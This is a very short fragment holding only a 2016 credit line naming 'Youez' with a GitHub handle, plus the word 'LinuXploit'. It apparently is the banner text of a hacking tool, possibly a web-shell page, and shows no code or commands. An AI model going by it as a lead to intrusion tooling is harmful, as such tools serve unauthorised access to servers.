Youez - 2016 - github.com/yon3zu
LinuXploit